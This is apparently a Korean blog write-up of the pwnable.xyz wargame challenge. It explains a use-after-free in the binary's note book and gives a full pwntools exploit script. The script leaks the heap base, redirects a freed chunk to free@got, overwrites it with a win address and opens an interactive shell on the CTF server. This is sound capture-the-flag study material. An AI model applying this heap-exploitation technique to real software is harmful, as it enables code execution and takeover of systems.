if ( count <= 32 )
{
printf("size of note: ");
size = read_int32();
note = (note *)malloc(0x28uLL);
if ( !note->note )
note->note = (char *)malloc(size);
printf("title: ");
read(0, note, 0x20uLL);
printf("note: ");
read(0, note->note, size - 1);
book[count++] = note;
}
else
{
puts("Limit reached.");
}
|
make_note는 이렇게 생겼다.
note = get_note();
if ( note )
{
free(note->note);
book[count--] = 0LL;
}
|
delete_note는 이렇게 생겼다.
삭제할 노트를 선택할 때 노트에 index로 접근하는데, 정작 book은 스택처럼 동작하기 때문에 UAF가 발생한다. (심지어 --count 가 아니라 count-- 라서 스택처럼 동작하지도 않는다) 노트 3개 만들고 0번, 1번 노트를 지운 뒤 1번 노트의 fd를 free@got의 주소로 바꾸고 그곳에 win 주소를 쓰면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def MakeNote(size:int, title:bytes, note:bytes) : p.writeafter(b'> ', b'1') p.writeafter(b': ', str(size).encode()) p.writeafter(b': ', title) p.writeafter(b': ', note) def EditNote(index:int, note:bytes) : p.writeafter(b'> ', b'2') p.writeafter(b': ', str(index).encode()) p.writeafter(b': ', note) def DeleteNote(index:int) : p.writeafter(b'> ', b'3') p.writeafter(b': ', str(index).encode()) def PrintNote(index:int) : p.writeafter(b'> ', b'4') p.writeafter(b': ', str(index).encode()) r = p.readline(keepends=False).split(b' : ') return r[0], r[1] def exploit() : free_got = 0x602018 MakeNote(0x40, b'A', b'A') MakeNote(0x40, b'B', b'B') MakeNote(0x60, b'C', b'C') MakeNote(0x60, b'D', b'D') DeleteNote(0) DeleteNote(1) r = PrintNote(1)[1] heap_base = u64(r.ljust(8, b'\x00')) & 0xFFFFFFFFFFFFF000 log_info('heap base: '+hex(heap_base)) EditNote(1, p64(free_got)[:len(r)]) MakeNote(0x40, b'D', b'D') MakeNote(0x40, b'E', p64(0x40096C)) DeleteNote(0) p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30030) else : p = process('./challenge') exploit() |
Last update: 5/1/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / Dirty Turtle (0) | 2020.05.01 |
---|---|
pwnable.xyz / Hero Factory (0) | 2020.05.01 |
pwnable.xyz / executioner v2 (0) | 2020.04.10 |
pwnable.xyz / badayum (0) | 2020.04.10 |
pwnable.xyz / password (0) | 2020.04.10 |